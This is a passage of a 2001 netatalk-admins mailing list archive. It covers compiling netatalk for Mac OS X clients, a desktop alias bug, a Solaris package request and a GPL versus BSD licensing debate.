BTW:  What does DEFS=-DFLOCKS do and why does it seem only to affect 
OS X clients?  Just curious if you happen to know.

Thanks for helping out, this has been bugging me for a while now.

David Shaub
>
>BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as 
>long as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile 
>before you compile. I haven't tried 1.5. You can only connect via IP 
>(great!) and transferring files large and small has worked for me 
>since 4K46
>
>mrad01
>

From netatalk.administrators-errors@umich.edu  Tue Mar 27 16:47:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA14130
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 16:47:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA02829
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 16:47:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA02814
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 16:47:17 -0500 (EST)
Received: from wolverine.emji.net (wolverine.emji.net [207.22.135.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA02762
	for <Netatalk-Admins@umich.edu>; Tue, 27 Mar 2001 16:47:15 -0500 (EST)
Received: from [0.0.0.0] (sdhcp6.emji.net [207.100.35.249])
	by wolverine.emji.net (8.9.3/8.9.3) with ESMTP id QAA06506;
	Tue, 27 Mar 2001 16:44:16 -0500
Date: Tue, 27 Mar 2001 16:47:10 -0500
From: Scott Every <scott@emji.net>
To: Jason Quigley <jasonq@mac.com>, Netatalk-Admins@umich.edu
Subject: Re: Mac OS X and netatalk...
Message-ID: <513493.985711629@[0.0.0.0]>
In-Reply-To: <200103272031.MAA27837@smtpout.mac.com>
References:  <200103272031.MAA27837@smtpout.mac.com>
X-Mailer: Mulberry/2.1.0a2 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

right, think 1.0 release of a new os.  it WILL get fixed.  they had to get 
this out so developers would stop dragging their feet.  of course its not 
perfect.  wait until the first update.

s

--On Tuesday, March 27, 2001 10:31 PM +0200 Jason Quigley <jasonq@mac.com> 
wrote:

> Everybody is talking about Classic here. Granted, that's faster, but
> things like re-sizing windows and using the finder are just as slow, even
> if they do look prettier.
>
> Cheers,
> Jason.
>
>
> On Tuesday, March 27, 2001, at 10:13  pm, Chad Cunningham wrote:
>
>>
>> I agree, I've got the final release on an iBook G3 300 and it works
>> great.
>> The slowness associated with PB is gone, doesn't get hung up switching
>> active windows, etc. Apps are still a bit slow to launch, but waking up
>> from sleep is much much faster. Speed on classic apps is excellent, much
>> much better than PB.
>>
>> Really, I think it will run fine on any G3 with sufficient ram (at least
>> 128 if you want to use classic).
>>



From netatalk.administrators-errors@umich.edu  Tue Mar 27 16:52:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA14297
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 16:52:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA28230
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 16:52:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA28194
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 16:52:52 -0500 (EST)
Received: from douwe.rotterdam.luna.net (douwe.rotterdam.luna.net [194.151.24.19])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA28155
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 16:52:50 -0500 (EST)
Received: from pikedoos.kw.nl (isdn-static-29-165.rotterdam.luna.net [194.151.29.165])
	by douwe.rotterdam.luna.net (8.8.8/8.8.8/chk+rbl+tcpwrp+ismx+p3a) with ESMTP id AAA19360
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 00:04:27 +0200 (CEST)
Message-Id: <4.3.1.1.20010327234233.028cd100@museum.kw.nl>
X-Sender: pike@museum.kw.nl
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Tue, 27 Mar 2001 23:48:24 +0200
To: netatalk-admins@umich.edu
From: Pike <pike@kw.nl>
Subject: package for solaris 7 (sparc,32) ?
In-Reply-To: <sac08d14.095@keam1>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

Hi

I found a package for netatalk on Solaris 8. 
People say it might work on 7. I hesitate to
just go and run the thing blindly, but I don't fancy configuring
and compiling netatalk (or building a package) myself
either.

Does anyone know of a package for Solaris 7 (sparc,32) ?  

thanks,
*-pike

*----------pike-------------*

" The only reason I see for ever changing the default is the desire to be rebelious "


From netatalk.administrators-errors@umich.edu  Tue Mar 27 16:57:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA14413
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 16:57:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA04344
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 16:57:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA04320
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 16:57:19 -0500 (EST)
Received: from mail.iu13.k12.pa.us (mail.iu13.k12.pa.us [204.171.195.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA04262
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 16:57:18 -0500 (EST)
Received: from pegmatite.iu13.k12.pa.us (pegmatite.iu13.k12.pa.us [172.19.5.97])
	by mail.iu13.k12.pa.us (8.9.3/8.9.3) with ESMTP id QAA03986;
	Tue, 27 Mar 2001 16:57:00 -0500
Received: from localhost (localhost.localdomain [127.0.0.1])
        by pegmatite.iu13.k12.pa.us  with ESMTP id f2RLv0F01606;
        Tue, 27 Mar 2001 16:57:00 -0500
Date: Tue, 27 Mar 2001 16:57:00 -0500 (EST)
From: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>
To: <netatalk-admins@umich.edu>
cc: <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Local desktop aliases point to wrong server
 documents/folders
In-Reply-To: <Pine.LNX.4.33.0103271416340.5722-100000@pegmatite.iu13.k12.pa.us>
Message-ID: <Pine.LNX.4.33.0103271649010.1590-100000@pegmatite.iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Ok, after more testing, I've found the cases where this can easily be
reproduced.  If anyone who is using 1.5preX could test this and see if
they can confirm, I'd appreciate it.

1) Open Chooser and login and mount a netatalk volume (note, its important
to use Chooser for this!!)
2) Create two aliases of folders or files on the server on your local
desktop (for my test case, folder one was inside of folder two but I don't
think it matters).
3) Drag the server volume to trash.
4) Reconnect to the server, _without_ using Chooser (i.e. double-click on
your freshly created aliases, or use Recent Server Items or...)
5) Check out both of your aliases - if the problem exists, at least one
and maybe both will point into LaLa land.

It seems that as soon as you don't use Chooser to access a server,
something (be it the AppleShare client or the server) changes some sort of
mapping so that aliases break.  I don't know what is done differently when
using the Chooser versus other access methods but this turns out to be the
same problem I encountered before and attributed to the Apple Menu Items
CDEV.  Its not the CDEV thats causing the problems, its something else,
since I disabled it totally and the problem still persists.

I have two strace'd logs of two afpd (one with Chooser, one with broken
aliases logged on without Chooser) and I'll look at them tomorrow to see
if that sheds any light on it.  In the meantime, if anyone can reproduce
this, then I'll at least know its not something with our local setup -
guess I should try disabling virus software as well just to be on the safe
side.

Kevin

--
Kevin M. Myer
Systems Administrator
Lancaster-Lebanon Intermediate Unit 13
(717)-560-6140


From netatalk.administrators-errors@umich.edu  Tue Mar 27 16:58:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA14453
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 16:58:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA20969
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 16:58:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA20953
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 16:58:03 -0500 (EST)
Received: from clavin.interaccess.com (from.interaccess.com [207.208.131.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA20931
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 16:58:02 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by clavin.interaccess.com (8.10.2/8.10.2) with ESMTP id f2RLw1f17719;
	Tue, 27 Mar 2001 15:58:01 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 27 Mar 2001 15:57:07 -0600
Subject: Re: Another reason to go GPL
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Message-ID: <B6E668D3.13182%bucky@interaccess.com>
In-Reply-To: <5568488.3194699063@adsl-242-15.ns.itd.umich.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I don't understand how that can work. The GPL, once adopted, establishes a
form of compulsion -- it does not allow what you've described. Suppose code
from another GPL project is incorporated: the presence of that code prevents
netatalk in its entirety from ever being used in a BSD-licensed context
without replacing that code. That's how the GPL works. In the long run, it
permanently prevents BSD-style freedoms such as using the code in a
proprietary release. The code would be balkanized into separate licenses.
The licenses don't coexist by covering the whole project.

A company who makes such a release would have quite a bit invested in its
relationship with the community that developed the base code. Observe Apple
and the FreeBSD crowd.

GPL effectively eliminates ownership through progressively entangling
obligations on the part of the coders. BSD provides a form of shared
ownership, in which the codebase may be forked freely as needed and
participating developers each retain full discretion regarding the
disposition of their work -- public or private.

I have not developed a stitch of netatalk. So this is not my decision. But
thank you for hearing me out.

-B...

> From: wes@umich.edu
> Date: Tue, 27 Mar 2001 16:24:23 -0500
> To: andrew morgan <morgan@orst.edu>
> Cc: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
> Subject: Re: Another reason to go GPL
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 27 Mar 2001 16:31:45 -0500 (EST)
> 
> It's no problem to release netatalk under a GPL license, so long as all of
> the previous licenses are kept.  Presuming GPL will allow that, you should
> do as it suits the current developers.
> 
> BTW, the volunteer from the sourceforge netatalk team on netatalk@umich.edu
> is now bouncing mail.  Someone from that group should read
> netatalk@umich.edu
> since questions about 1.5 go there.
> 
> :wes
> 
> --On Tuesday, March 27, 2001 9:55 AM -0800 andrew morgan <morgan@orst.edu>
> wrote:
> 
>> 
>> Here's another reason we should go GPL with netatalk.  Samba has a piece
>> of code which does quotas on Veritas File Systems which I need to use at
>> our site.  Same problem as the file locking code though.  We can't take
>> GPL code and place it in netatalk without releasing netatalk as GPL.
>> 
>> I may be able to get permission from the author of that particular piece
>> of code to include it in netatalk anyways, but the samba project itself
>> will not release the code for our use.
>> 
>> GPL - just do it.  :P
>> 
>> Andy
> 
> 
> 
> 


From netatalk.administrators-errors@umich.edu  Tue Mar 27 17:18:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA15124
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 17:18:41 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA10737
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 17:18:41 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA10719
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 17:18:40 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA10686
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 17:18:40 -0500 (EST)
Received: (qmail 8532 invoked by uid 500); 27 Mar 2001 22:18:28 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 27 Mar 2001 22:18:28 -0000
Date: Tue, 27 Mar 2001 16:18:28 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>
cc: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Local desktop aliases point to wrong server
 documents/folders
In-Reply-To: <Pine.LNX.4.33.0103271649010.1590-100000@pegmatite.iu13.k12.pa.us>
Message-ID: <Pine.LNX.4.30.0103271617110.8517-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I *can* tell you that this does not occur with netatalk-1.5pre2-4 on a Mac
running 9.1.

-Dan

On Tue, 27 Mar 2001, Kevin M. Myer wrote:

> Ok, after more testing, I've found the cases where this can easily be
> reproduced.  If anyone who is using 1.5preX could test this and see if
> they can confirm, I'd appreciate it.
>
> 1) Open Chooser and login and mount a netatalk volume (note, its important
> to use Chooser for this!!)
> 2) Create two aliases of folders or files on the server on your local
> desktop (for my test case, folder one was inside of folder two but I don't
> think it matters).
> 3) Drag the server volume to trash.
> 4) Reconnect to the server, _without_ using Chooser (i.e. double-click on
> your freshly created aliases, or use Recent Server Items or...)
> 5) Check out both of your aliases - if the problem exists, at least one
> and maybe both will point into LaLa land.
>
> It seems that as soon as you don't use Chooser to access a server,
> something (be it the AppleShare client or the server) changes some sort of
> mapping so that aliases break.  I don't know what is done differently when
> using the Chooser versus other access methods but this turns out to be the
> same problem I encountered before and attributed to the Apple Menu Items
> CDEV.  Its not the CDEV thats causing the problems, its something else,
> since I disabled it totally and the problem still persists.
>
> I have two strace'd logs of two afpd (one with Chooser, one with broken
> aliases logged on without Chooser) and I'll look at them tomorrow to see
> if that sheds any light on it.  In the meantime, if anyone can reproduce
> this, then I'll at least know its not something with our local setup -
> guess I should try disabling virus software as well just to be on the safe
> side.
>
> Kevin
>
> --
> Kevin M. Myer
> Systems Administrator
> Lancaster-Lebanon Intermediate Unit 13
> (717)-560-6140
>
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Tue Mar 27 18:58:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA18427
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 18:58:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA04449
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 18:58:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA04429
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 18:58:07 -0500 (EST)
Received: from fire-in.newtimes.com (fire-out.newtimes.com [206.138.77.3])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA04304
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 18:58:02 -0500 (EST)
Received: by fire-in.newtimes.com; id SAA24928; Tue, 27 Mar 2001 18:36:54 -0700 (MST)
Received: from unknown(206.138.68.212) by fire-in.newtimes.com via smap (V5.0)
	id xma024345; Tue, 27 Mar 01 18:36:10 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 27 Mar 2001 17:55:29 -0600
Subject: Re: Local desktop aliases point to wrong server documents/folder
From: Dave Ritter <dave.ritter@newtimes.com>
To: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>, <netatalk-admins@umich.edu>,
        <netatalk-devel@lists.sourceforge.net>
Message-ID: <B6E68490.11578%dave.ritter@newtimes.com>
In-Reply-To: <54540@newtimes.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

aliases are broken in netatalk....if they work at all your setup, consider
it a fluke... netatalk dose not use persistent directory IDs that aliases
require...

> From: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>
> Reply-To: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>
> Date: Tue, 27 Mar 2001 14:37:22 -0700
> To: <netatalk-admins@umich.edu>
> Cc: <netatalk-devel@lists.sourceforge.net>
> Bcc: "Dave Ritter" <Dave.Ritter@newtimes.com>
> Subject: Local desktop aliases point to wrong server documents/folder
> 
> Hi,
> 
> We are running netatalk-1.5pre3 under Linux 2.2.17 on x86 hardware.
> Recently, it was brought to my attention that some users are experiencing
> problems with local desktop aliases having the original source being
> changed, apparently at random.  For example, each user has a folder in
> their home directory called MyDocuments.  One user logged on, made an
> alias on his desktop of MyDocuments and began to work.  At one point,
> before his very eyes, the alias changed from a folder to a trash can and
> when I did a Get Info, the alias now pointed to Network Trash.  Strange.
> This was on a ruby iMac running MacOS 9.1; another ruby iMac user has
> reported similar problems and she is running either 9.0.4 or 9.1.  I have
> not been able to duplicate on my machine this problem.


From netatalk.administrators-errors@umich.edu  Tue Mar 27 19:13:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA18910
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 19:13:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA16780
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 19:13:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA16769
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 19:13:25 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA16758
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 19:13:24 -0500 (EST)
Received: (qmail 19253 invoked by alias); 28 Mar 2001 00:13:31 -0000
Received: (qmail 19241 invoked by uid 0); 28 Mar 2001 00:13:30 -0000
Received: from comp10574.potsdam.edu (HELO mail.potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 28 Mar 2001 00:13:30 -0000
Date: Tue, 27 Mar 2001 19:13:21 -0500
From: Matthew Keller <kellermg@potsdam.edu>
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: Another reason to go GPL
Message-ID: <20010327191321.W1212@comp10574.potsdam.edu>
References: <5568488.3194699063@adsl-242-15.ns.itd.umich.edu> <B6E668D3.13182%bucky@interaccess.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <B6E668D3.13182%bucky@interaccess.com>; from bucky@interaccess.com on Tue, Mar 27, 2001 at 16:57:07 -0500
X-Mailer: Balsa 1.1.2
Lines: 36


On 2001.03.27 16:57:07 -0500 "Bruce A. Burdick, Jr." wrote:
> GPL effectively eliminates ownership through progressively entangling
> obligations on the part of the coders. BSD provides a form of shared
> ownership, in which the codebase may be forked freely as needed and
> participating developers each retain full discretion regarding the
> disposition of their work -- public or private.

	Your e-mail is mostly right-on. I will, however, take issues with
your statement that the "participating developers each retain full
discretion" with BSD-licensed code. I have written number BSD-licensed
programs and applications that snippets or full code trees were taken, and
merged into quite famous works, with nothing my name embedded in the
binaries if you do a "strings" command on them. The BSD license does not
protect the developers, or the code. It allows either to be used as anyone
sees fit. Yes, this is the extreme of freedom, which some people
like/enjoy/want (and I do as well for certain projects), but to claim that
the BSD license gives the developers ANY discretion regarding the code is a
fallacy.

	NOTE: This discussion began on the netatalk-devel@lists.sourceforge.net
list - And seems to have started being cross-posted recently onto
netatalk-admins@umich.edu. I *HIGHLY* recommend that those on
netatalk-admins who are interested in further discussing this, join the
netalk-devel list (and read the archives). There has been a lot said about
this already, and I for one don't want to have to rehash all of that for a
new list. 
 	
-- 
Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Tue Mar 27 20:02:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA20593
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 20:02:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA28285
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 20:02:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA28253
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 20:02:17 -0500 (EST)
Received: from smail-7.hanmail.net ([211.62.252.67])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA28185
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 20:02:15 -0500 (EST)
Received: from www6.hanmail.net ([211.32.117.26])
        by smail-7.hanmail.net (8.10.0/8.9.1) with ESMTP id f2S0uxi06722;
        Wed, 28 Mar 2001 09:56:59 +0900
Received: (from hanadmin@localhost)
        by www6.hanmail.net (8.10.0/8.9.1) id f2S0tAf26875;
        Wed, 28 Mar 2001 09:55:10 +0900 (KST)
X-Originating-IP: [203.241.48.20]
From: "ĆÖ“ė±Ō" <isaac98@hanmail.net>
Reply-To: "ĆÖ“ė±Ō" <isaac98@hanmail.net>
Organization: »ļ¼ŗĄüĄŚKDC
To: netatalk-admins@umich.edu
Subject: Please, Help me.....!!!!!!!!!!!!!!!!!!
X-Mailer: Daum Web Mailer 1.0
Date: Wed, 28 Mar 2001 09:55:10 KST
Message-Id: <20010328095510.HM.50000000001huZs@www6.hanmail.net>
Errors-To: <isaac98@hanmail.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=euc-kr
Content-Transfer-Encoding: 8bit

Dear, Mike Clark
At the first, I Thanks GOD for I meet you on e-mail.
I am isaac in korea.
I'm in kwangwoon univ.
I'm sorry that, I'm not good at english..

I need your help about your netatalk program on unix.
I know that,If user access host, host assign athurity to user by fork() event.
And, after user athentication, afpd is empower user be able to access-files.
But I don't know after that.
I hope know, How many files user access and, Where is that part in C programs.

Please,give me your mercy...
It is very urgent problem for me...
I hope receive your reply e-mail as soon as you possible.
thank you.

Have a good day Clark.
Best regard.
 
 isaac
 isaac98@hanmail.net


==================================================
æģø® ĄĪÅĶ³Ż, Daum
Ęņ»ż ¾²“Ā ¹«·į E-mail ĮÖ¼Ņ ĒŃøŽĄĻ³Ż
Įö±øĆĢ ĒŃ±Ū °Ė»ö¼­ŗń½ŗ Daum FIREBALL
http://www.daum.net

From netatalk.administrators-errors@umich.edu  Tue Mar 27 20:57:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA22697
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 20:57:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA14900
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 20:57:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA14882
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 20:57:43 -0500 (EST)
Received: from sam.on-net.net (sam.on-net.net [204.117.190.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA14862
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 20:57:42 -0500 (EST)
Received: from edison (edison.base2inc.com [206.229.85.132])
	by sam.on-net.net (8.11.3/8.11.3) with SMTP id f2S1ue617822;
	Tue, 27 Mar 2001 20:56:40 -0500 (EST)
Message-ID: <00bf01c0b72a$7db70630$8455e5ce@edison>
From: "Frank Morton" <fmorton@base2inc.com>
To: <netatalk-admins@umich.edu>
Cc: "Volker Birk" <vb@kanguruh.ebios.de>
References: <20010205181719.A22795@ebios.de>
Subject: Re: OPI Server ready
Date: Tue, 27 Mar 2001 20:57:48 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Anyone using the OPI Server by "Volker Birk" <vb@kanguruh.ebios.de> ?

Also, Volker Birk, can you give us an update on what  you know
about people using it, continuing development, etc.

Frank Morton
fmorton@base2inc.com

> some two years ago I announced that we will develop an OPI server which
> then will be offered under the GPL.
> 
> Now it's ready. And it's an Open Project.
> 
> If someone is interested in, she/he can read something about it on
> 
> http://opi3.ebios.de
> 
> Yours,
> Volker Birk



From netatalk.administrators-errors@umich.edu  Tue Mar 27 22:23:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA24282
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 22:23:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA21487
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 22:23:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA21478
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 22:23:53 -0500 (EST)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA21439
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 22:23:52 -0500 (EST)
Received: from localhost (wallace.daemonize.com [10.77.1.3])
	by gromit.daemonize.com (8.9.3/8.9.2) with ESMTP id TAA07153
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 19:23:51 -0800
Message-Id: <200103280323.TAA07153@gromit.daemonize.com>
Date: Tue, 27 Mar 2001 19:23:45 -0800
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.387)
From: Paul Krohn <pkrohn@daemonize.com>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v387)
In-Reply-To: <200103271826.KAA10847@smtpout.mac.com>
Subject: Re: Mac OS X and netatalk...
Content-Transfer-Encoding: 7bit

well, since i haven't successfully re-compiled netatalk on my qube yet, 
i'm still using what came with:

#rpm -q -a | grep netatalk
netatalk-1.4b2+asun2.1.4-pre35_C3

and connecting from OS X release version works great. in fact, my mac is 
a much faster client with OS X installed.

the secret is to find out what options cobalt did or did not compile in, 
and try to figure from that what needs done to current versions for the 
same happy results.

also, at work, OS X connects no problem to our totalnet/syntax server 
with dhx encrypted passwords, as well as an oldish version of netatalk 
(exactly which i forget) on my ultra5.

i think it is unlikely that this is a server problem. perhaps some 
